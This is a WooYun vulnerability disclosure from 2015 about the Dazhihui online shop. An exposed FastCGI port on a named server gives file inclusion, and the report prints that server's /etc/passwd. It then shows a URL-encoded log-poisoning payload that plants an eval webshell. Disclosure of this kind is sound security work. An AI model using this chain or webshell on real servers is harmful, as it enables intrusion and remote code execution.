当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091686

漏洞标题:大智慧商城奇葩漏洞Getshell

相关厂商:上海大智慧

漏洞作者: boooooom

提交时间:2015-01-13 19:05

修复时间:2015-02-27 19:06

公开时间:2015-02-27 19:06

漏洞类型:应用配置错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-13: 细节已通知厂商并且等待厂商处理中
2015-01-14: 厂商已经确认,细节仅向厂商公开
2015-01-24: 细节向核心白帽子及相关领域专家公开
2015-02-03: 细节向普通白帽子公开
2015-02-13: 细节向实习白帽子公开
2015-02-27: 细节向公众公开

简要描述:

RT

详细说明:

嗯,fastcgi对外导致的漏洞,导致任意文件包含

php fcgiget.php 114.80.157.137:9000/etc/passwd
X-Powered-By: PHP/5.3.8
Content-type: text/html
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
webuser:x:500:100::/home/webuser:/bin/bash
yangfentao:x:501:501::/home/yangfentao:/bin/bash

漏洞证明:

嗯。想着咋getshell,
1.先找到nginx配置文件看了下,定位到error日志路径为/opt/nginx/logs/shop.error.log,accesslog太大了,包含直接500
2.写php代码到errorlog里面

http://shop.gw.com.cn/images/%3C%3Fphp%20%24a%3Dbase64_decode%28%27L29wdC9uZ2lueC9odG1sL3Nob3AvcGhwL2FwcF9ib29rcy93d3cvaW1hZ2UucGhw%27%29%3B%24fh%3Dfopen%28%24a%2C%20%22w%22%29%3Bfwrite%28%24fh%2C%20%27%3C%3Fphp%20%40eval%28%24_REQUEST%5Bwy123%5D%29%3B%3F%3E%27%29%3Bfclose%28%24fh%29%3B%3F%3E/


3.getshell
http://shop.gw.com.cn/image.php

xx.jpg


修复方案:

访问控制

版权声明:转载请注明来源 boooooom@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-14 08:20

厂商回复:

已在修复中

最新状态:

2015-03-02:已修复